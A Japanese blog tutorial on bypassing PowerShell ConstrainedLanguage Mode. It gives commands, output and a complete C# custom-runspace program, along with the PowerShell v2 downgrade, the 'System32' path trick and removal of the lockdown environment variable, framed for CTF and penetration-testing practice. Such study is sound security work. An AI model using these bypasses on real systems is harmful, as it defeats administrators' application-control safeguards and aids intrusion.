#139 ConstrainedLanguage Mode Bypass
PowerShellは、強力な管理ツールですが、同時に攻撃者の格好の的でもあります。悪用に対する対策として、ConstrainedLanguage Modeという機能が導入されました。これは、PowerShellの機能を制限するもので、通常の使用ではほとんど問題がないものの、攻撃するには厳しい障壁となります。
具体的な制限については、公式ドキュメントを参照してください。
さて、壁あるところにバイパスあり。
ConstrainedLanguage Modeをバイパスして、FullLanguage Modeに昇格しましょうか。
Language Modeの確認方法
まずは、Language Modeの確認方法です。
> $ExecutionContext.SessionState.LanguageMode
FullLanguage
以下の4パターンの設定があり、下に行くほど厳しくなります。NoLanguageでも設定次第ではバイパスできるので、諦めないでください!
FullLanguage
RestrictedLanguage
ConstrainedLanguage
NoLanguage
Language Modeの設定
Language Modeの設定方法はいくつかあります。
1. 変数を直接上書きする
この方法は、だれでも簡単に上書きできてしまうので、非推奨です。
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
この状態で、許可されていない型を使ってみると、ブロックされます。
> [Math]::cos(1)
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ [Math]::cos(1)
+ ~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage
バイパス
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
2. 環境変数を設定する
"__PSLockdownPolicy"を環境変数に設定すると、ConstrainedLanguage Modeに制限できます。
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
これも、環境変数を削除してしまえば、FullLanguageにできます。ただし、環境変数の設定には、管理者権限が必要です。
バイパス
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', $null, 'Machine')
3. WDAC、AppLocker、JEA
お察しの通り、上のように簡単にはバイパスできないのがこちらです。
似た保護機構にAppLockerがあります。AppLockerは、サポートされているバージョンが限られているので、見る機会は少ないかもしれません。
また、WinRMなどで使うリモートのPowerShellセッションに対して制限をかけるJEAもあります。それぞれ特徴はありますが、バイパスの考え方は同じです。
※環境を用意できなかったので、バイパス手法のみ紹介します。
バイパス1 PowerShell ダウングレード
ConstrainedLanguage ModeはPowerShell v3で導入されたので、古いバージョンにダウングレードすることでバイパスできます。
> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> powershell -version 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
> $ExecutionContext.SessionState.LanguageMode
FullLanguage
バイパス2 System32
これは、実装の不備だと思われますが、スクリプトのパスに"System32"が含まれていると、なぜかバイパスできます。
> type System32.ps1
$ExecutionContext.SessionState.LanguageMode
> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> .\System32.ps1
FullLanguage
これはなんか腑抜けた感じで好きです。C:\Windows\System32以下のファイルをホワイトリストにしたかったんですかね。
バイパス3 カスタムRunspace
C#でごにょごにょすることでバイパスできます。
下記は、Language Modeをbypass.txtに書き出すプログラムです。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace CLMBypass
{
internal class Program
{
static void Main(string[] args)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("$ExecutionContext.SessionState.LanguageMode > .\\bypass.txt");
ps.Invoke();
rs.Close();
}
}
}
これを実行すると、FullLanguageでPowerShellスクリプトが実行されました。
> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> .\CLMBypass.exe
> type bypass.txt
FullLanguage
まとめ
ConstrainedLanguage Modeのバイパス方法をいくつか紹介しました。CTFやHTB以外ではあんまり使っているのをみたことがありませんが、侵入を前提とした防御を考えると、今後当たり前になってきてもおかしくありません。
呼吸するようにバイパスできるようになります!
EOF